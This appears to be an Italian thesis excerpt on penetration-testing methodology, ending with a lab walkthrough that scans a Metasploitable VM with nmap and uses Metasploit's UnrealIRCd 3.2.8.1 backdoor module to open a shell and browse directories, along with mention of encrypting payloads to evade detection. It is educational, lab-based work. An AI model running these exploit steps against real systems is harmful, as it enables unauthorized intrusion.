Analisi dei “Threat Capability” (Potenzialità delle Minacce)
Una volta individuate le possibili minacce, si deve analizzare le capacità di ognuna di esse, in modo
da poter creare un accurato modello che rispecchia le possibilità dei danni che possono procurarci.
Per fare ciò, andremo a passare sotto lente d’ingrandimento i tools utilizzati, la possibilità da parte
degli attaccanti di provocare “exploits” e i mezzi tramite i quali gli attaccanti comunicano, al fine di
poter comprendere la complessità degli attacchi.
2.2.3 Analisi delle Vulnerabilità
L’analisi delle vulnerabilità è il processo, tramite il quale, il tester punta a scoprire i difetti nei sistemi
e nelle applicazioni, che gli attaccanti potrebbero sfruttare a loro vantaggio. Questi sono molteplici,
e vanno da quelli legati all’host, a quelli dovuti a errate configurazioni di determinati servizi. Sebbene
esistano diversi modi per eseguire questo test, ci sono degli elementi chiave, comuni a tutti questi
modi di agire.
Active Testing
L’Active Testing implica una diretta interazione con gli elementi che devono essere testati per
valutarne le vulnerabilità. Questi potrebbero essere elementi di basso livello, come ad esempio il TCP
stack su un dispositivo di rete. Oppure potrebbe essere di più alto livello, come ad esempio le web
based interface usate per amministrare un dispositivo. Ci sono due modi per interagire con questi
elementi target: un approccio manuale e uno automatizzato. Si approfondirà quello automatizzato.
Automatizzato
Il testing automatizzato utilizza software che s’interfaccia con un obbiettivo, esamina le risposte e
determina, dove le vulnerabilità esistono in base alle risposte che si ricevono. Un procedimento
20
automatizzato è utile perché riduce il tempo e il lavoro annesso all’analisi. L’utilizzo di questi
software che eseguono queste funzioni, consente al tester di potersi concentrare sul “processing data”
e sul “performing tasks” che sono più adatte per un’analisi manuale.
A questa categoria di software fanno parte i “Network/General Vulnerability Scanners”, “Web
Application Scanners” e “Network Vulnerability Scanner/Specific Protocols”.
Network/General Vulnerability Scanners – Port Based
Il Port Based Scanner punta a determinare su cosa un port, o un host remoto è in grado di ricevere
una connessione. Generalmente, si utilizzano i protocolli che si relazionano con il protocollo IP. Una
porta può avere due stadi: aperta o chiusa. Quando lo scanner determinerà se la porta è aperta, esso
fa una supposizione sul fatto che la vulnerabilità sia presente o meno.
Web Application Scanners - General Application Flaw Scanners
La maggior parte delle scansioni di web application iniziano con l’analisi dell’indirizzo di un sito
web, di una web application o di una web service. Lo scanner poi avanza nel sito analizzando tutti i
link e le directory che lo compongono. Dopo aver compilato una lista di pagine web, risorse, servizi
e/o mezzi offerti, lo scanner eseguirà il test o ispezionerà di nuovo i risultati ottenuti in precedenza.
Questo comportamento è abbastanza comune negli scanner delle web application.
2.3 Attack
La fase di “Attack” di un Penetration test è la più delicata, infatti dopo aver individuato una serie di
vulnerabilità nella fase precedente, andremo a fare l’expoit di queste. Se un attacco avrà successo, la
vulnerabilità sarà verificata, di conseguenza si saprà come agire per andare a migliorare la sicurezza
del sistema.
Alcuni exploits consentono al tester di ottenere privilegi sul sistema o sulla rete, quindi possono
accedere ad altre informazioni. Se questo accade, è necessario andare a fare nuove analisi e test per
determinare il reale livello di pericolo cui è esposto il sistema, per identificare che tipo
d’informazioni possono essere recuperate, cambiate oppure rimosse. Se il tester è in grado di
“exploitare” la vulnerabilità, ha la possibilità di installare una serie di tool sul sistema per facilitare
il processo di testing. Questi sono usati per ottenere nuovi privilegi di accesso ai dati presenti nel
sistema. È quindi evidente che dobbiamo andare a fare una serie di valutazioni per verificare che
possibilità di accesso, in base ai privilegi ottenibili, può avere un attaccante. Analizziamo ciò
rappresentandolo come un ciclo in “feedback loop” tra la fase di “Attack” e quella di “Discovery”.
21
Figura 3
•Gaining Access: si prova a compiere un accesso tramite un attacco di precisione, grazie alle
informazioni raccolte nelle fasi precedenti.
•Escalating Privileges: Se nella fase precedente si è ottenuto l’accesso al solo livello utente, ora
si proverà a fare un tentativo per ottenere un livello di accesso con maggiori privilegi, ad
esempio un accesso di livello amministratore.
•System Browsing: Se con le informazioni in possesso non si sono ottenuti i privilegi d’accesso
desiderati, ricomincia la fase di raccolta d'informazioni per ottenerne di nuove, per
raggiungere l’obbiettivo prefissato.
•Install Additiona Tools: S’installano altri tool per ottenere nuove informazioni, oppure accessi,
o una combinazione di queste due cose.
2.3.1 Tipi di Exploits
La maggior parte delle vulnerabilità “exploitate” in un penetration test possono essere racchiuse in
queste categorie:
•Misconfiguration: Errori di configurazione della sicurezza, in particolare i settaggi di default
della sicurezza, sono di solito facili da “exploitare”.
•Kernel Flaws: Il codice Kernel è il cuore di un OS, e impone il modello di sicurezza del sistema,
quindi qualsiasi falla di sicurezza nel kernel mette tutto a rischio.
•Buffer Overflows: Si ha questa situazione quando non ci sono adeguati controlli sulla lunghezza
degli ingressi. Se questo avviene, può essere lanciato codice nel sistema ed eseguito con
privilegi importanti.
22
•Symbolic Links (symink): Questo è un file che punta a un altro. Nei sistemi operativi vi sono
dei programmi che possono cambiare i permessi dati a un file. Se questi programmi eseguono
con dei particolari permessi, un utente potrebbe strategicamente creare un symlink per
ingannarli con lo scopo di far si che ascoltino file critici.
•File Descriptor Attacks: Questi sono numeri usati dal sistema per tenere traccia dei file al posto
dei filenames. Implicitamente sono utilizzati dei particolari file descriptors. Quando un
programma con particolari privilegi assegna un inappropriato file despritor, il file cui è stato
assegnato questo può essere compromesso.
2.3.2 Contromisure
Sono definite contromisure quelle tecnologie o quei controlli che vogliono ostacolare la riuscita di un
exploit. Queste possono essere: “Host Based Intrusion Prevention System”, “Security Guard” oppure
“Web Application Firewall”. Quando si va a realizzare un exploit, si deve tener conto della presenza
di queste tecnologie.
Encoding: Metodo che punta, a oscurare i dati in modo che un pezzo di codice non appaia, come esso
è.
Encrypting: Come l’encoding, è un metodo che manipola codice eseguibile in modo che esso non
sia riconoscibile o disponbile per essere ispezionato. Potrà essere analizzato solo dopo essere stato
decifrato.
Data Execution Prevention (DEP): è una misura difensiva implementata nella maggior parte dei
sistemi operativi, e previene l’esecuzione di permessi quando c’è una sovrascrittura in memoria.
L’idea fondamentale è quella di andare a stoppare un attaccante all’atto della scrittura in memoria.
2.4 Reporting
Il Report finale si presenta come un documento che vuole aiutare il cliente a comprendere tutto quello
che si è fatto nel test, e che riscontri e risultati si sono ottenuti. Questo può essere diviso in due grandi
parti: Sintesi e Technical Report.
2.4.1 Sintesi
Questa sezione dovrà comunicare al lettore gli obiettivi specifici del Penetration Test e i risultati
scoperti. I destinatari di questo documento saranno tutti quelli che sono incaricati di supervisionare
la sicurezza del sistema, insieme con quelli che sono incaricati di scoprire e rendere noti le possibili
minacce. Le sezioni che devono essere presenti nella sintesi sono:
23
•Background: Questa sezione spiega al lettore, nel complesso, gli scopi del test.
•Overall Posture: Si ha un resoconto della complessiva efficacia del test e delle capacità del
tester a raggiungere gli obiettivi che erano stati stabiliti.
•Risk Ranking/Profile: Si va a stilare una lista dei rischi cui è soggetto il sistema, andando a
indicare anche il grado di pericolosità.
•General Findings: Si va a fare un sunto sui problemi riscontrati durante il test utilizzando, oltre
alle parole anche dei grafici.
•Recommendation Summary: Si spiega cosa è stato necessario fare, al fine di risolvere i rischi
identificati, e lo sforzo profuso per implementare la risoluzione.
2.4.2 Technical Report
In questa sezione si comunica al lettore tutti i dettagli tecnici del test. Esso descriverà in dettaglio,
obiettivi, informazioni, vettori di attacco, impatto e rimedi che si sono analizzati nel test.
24
Capitolo 3 : Simulazione di Exploit
Dopo aver esaminato tutte le fasi di un Penetration Testing, si eseguirà una simulazione di uno dei
passaggi più tecnici trattato nel capitolo precedente: la fase di Exploit. Questa è una delle più delicate,
infatti, dopo aver scoperto le vulnerabilità a cui può essere soggetto il sistema, ci si porrà come
obbiettivo lo sfruttamento di queste, al fine di capire a quali rischi possono portare, in che modo
creano danno, e quanto sono esposti i dati che vogliamo andare a tutelare.
Per poter svolgere questa simulazione si utilizzeranno due particolari distribuzioni di Linux: Kali
Linux e Metasploitable. La prima è una completa ricostruzione di BackTrack Linux, aderente agli
standard di sviluppo Debian appositamente studiata per il Penetration Testing e Security Auditing. In
essa sono presenti più di 300 tool per le varie fasi del test, tra cui “Metasploit Framework”. Questo si
presenta come un programma dedicato alla fase di exploit, eseguibile sia da terminale sia tramite
interfaccia grafica, che consente all’utente di eseguire tutti i passaggi necessari in questa fase: scelta
e configurazione dell’ exploit, verificare se un sistema sia soggetto all’azione di quel determinato
exploit, la scelta e la configurazione del payload (codice che verrà eseguito dopo un’intrusione
avvenuta con successo), la scelta della tecnica di crittografia del payload, in modo da non essere
rilevato dai sistemi di intrusione, e infine l’esecuzione dell’exploit. “Metasploitable Virtual
Machine”, invece, si presenta come una distribuzione volutamente vulnerabile di Ubuntu, sviluppata
per i test di sicurezza, per la dimostrazione e l’analisi delle vulnerabilità.
Si analizzeranno ora, nel dettaglio, le fasi affrontate in questa simulazione.
3.1 Fasi Iniziali, comando « ifconfig » e comando «nmap »
Dopo aver realizzato, tramite “VirtualBox”, due macchine virtuali, una per Kali Linux e una per
Metasploitable, si faranno partire. Dopo aver avviato Kali Linux (visibile nel riquadro a sinistra di
Figura 4) si farà partire Metasploit scrivendo a linea di comando “msfconsole” mentre, per quanto
riguarda Metasploitable (visibile nel riquadro a destra di
25
Figura 4), dopo averlo lanciato, si dovrà effettuare il login usando come username e password
“msfadmin”.
Figura 4
A questo punto si è interessati a capire l’indirizzo IP su cui è possibile attaccare Metasploitable. Per
conoscerlo eseguiamo il comando “ifconfig”. Come si vede in Figura 4, l’indirizzo su cui la macchina
target sarà attaccabile è 10.0.0.22. Saputo ciò, si lancerà il comando “nmap 10.0.0.22”.
Figura 5
26
Si esegue questo comando per conoscere le porte che sono aperte, tramite le quali poter eseguire un
attacco. Si sceglierà di attaccare la porta 6667/tcp, evidenziata in Figura 5.
3.2 Esecuzione dell’Exploit
Figura 6
Dopo aver scelto la porta da attaccare, si deciderà il tipo di exploit da utilizzare. Quello utilizzato
nella simulazione è “unreal_ircd_3281_backdoor”. L’obbiettivo che si vuole ottenere è impiantare
una “backdoor”, al fine di poter bypassare i sistemi di sicurezza e poter, nel caso in esame, navigare,
come si vedrà, nelle directory del sistema attaccato.
Per
fare
questo,
si
scriverà
sul
terminale
di
Kali
Linux
il
comando
“use
exploit/unix/irc/unreal_ircd_3281_backdoor”. Il passo seguente sarà quello di effettuare una serie di
settaggi, per poter far andare a buon fine l’exploit, perciò si scriverà nella shell “show options”. Come
si può vedere in Figura 6, il terminale mostra due opzioni, entrambe necessarie: “RHOST” e
“RPORT”. La prima richiede che si specifichi IP della macchina su cui eseguire l’attacco, mentre la
seconda richiede che sia specificata la porta, tramite la quale si può accedere (si noti che questa è già
preimpostata, e coincide con la porta evidenziata in precedenza, in quanto l’exploit è stato scelto,
dopo aver determinato quale porta attaccare). Tramite il comando “set RHOST 10.0.0.22”, si
indirizzerà l’attacco verso la macchina desiderata (se si fosse voluto settare RPORT, si sarebbe agito
in maniera analoga). Infine, si farà partire l’attacco digitando su terminale il comando “exploit”.
27
Figura 7
Come si evince da Figura 7, l’exploit è andato a buon fine. A testimoniare ciò, il terminale comunica
che si è aperta una sessione sulla shell dei comandi della macchina attaccata.
3.3 Sfruttamento dell’exploit e chiusura della sessione
Figura 8
28
Una volta eseguito l’exploit, si è in grado di poter navigare nelle directory del sistema che ha subito
l’attacco. Come è mostrato in Figura 8, si utilizza prima il comando “pwd”, in quanto si vuole vedere
prima il pathname assoluto della directory corrente. In seguito, tramite il comando “cd ../..”,
scegliamo di voler tornare indietro di due livelli nell’albero delle cartelle, infatti a video verrà
mostrato l’intero contenuto del livello in cui ci si trova. È giusto sottolineare che i comandi scelti per
lo spostamento sono semplicemente d’esempio, in quanto l’obbiettivo che si voleva raggiungere era
mostrare una dimostrazione di cosa sarebbe successo una volta andato a buon fine l’attacco.
Figura 9
Dopo aver mostrato tutto ciò, si chiuderà la sessione. Per fare ciò si utilizzerà la combinazione di tasti
“Ctrl+c”. Quindi verrà mostrata la richiesta di voler chiudere o meno la sessione. Si digiterà “y” per
chiuderla, così si sarà pronti ad eseguire nuove operazioni.
29
Conclusioni
Nell’ elaborato realizzato, ci siamo impegnati a comprendere come eseguire un Penetration Test e le
fasi che lo compongono. Questo è stato possibile tramite la consultazione di diverse guide rilasciate
da enti come il NIST (National Institute of Standard and Technology) e organizzazioni come OWASP
(The Open Web Application Security Project). Inoltre abbiamo visto, attraverso un attento studio,
come utilizzare Kali Linux, Metasploit e Metasploitable, per poter mostrare un esempio di come
realizzare un exploit.
L’analisi riportata in queste pagine, oltre ad aver aumentato la mia conoscenza verso un argomento
così interessante e affascinante, mi ha permesso di essere più cosciente di quanto sia fondamentale la
sicurezza dei vari sistemi informatici e di come allo stesso tempo sia difficile realizzarla. Fin da subito
ho compreso quanto sia importante avere sistemi di sicurezza costantemente aggiornati, per poter
fronteggiare adeguatamente le minacce che si presentano in un mondo, come quello in cui viviamo,
in cui le informazioni e i dati sono diventati obbiettivi sempre più sensibili.
30
Bibliografia
[1]
OWASP (The Open Web Application Security Project), OWASP Top 10 – 2013
The Ten Most Critical Web Application Security Risks, 2013
[2]
The Penetration Testing Execution Standard, http://www.pentest-standard.org,
17/09/2016
[3]
K. Scarfone, M. Souppaya, A. Cody, A. Orebaugh , Technical Guide to Information
Security Testing and Assessment – Recommendations of the National Institute of Standard
and Technology, 2008
[4]
[5]
Penetration Test, https://it.wikipedia.org/wiki/Penetration_Test, 02/10/2016
Kali
Linux
Official
Documentation
–
Che
cosa
è
Kali
Linux?,
http://it.docs.kali.org/introduction-it/che-cosa-e-kali-linux, 02/10/2016
[6]
Metasploit Project, https://it.wikipedia.org/wiki/Metasploit_Project, 02/10/2016
[7]
Metasploitable 2 Exploitability Guide, https://community.rapid7.com/docs/DOC-
1875, 02/10/2016
31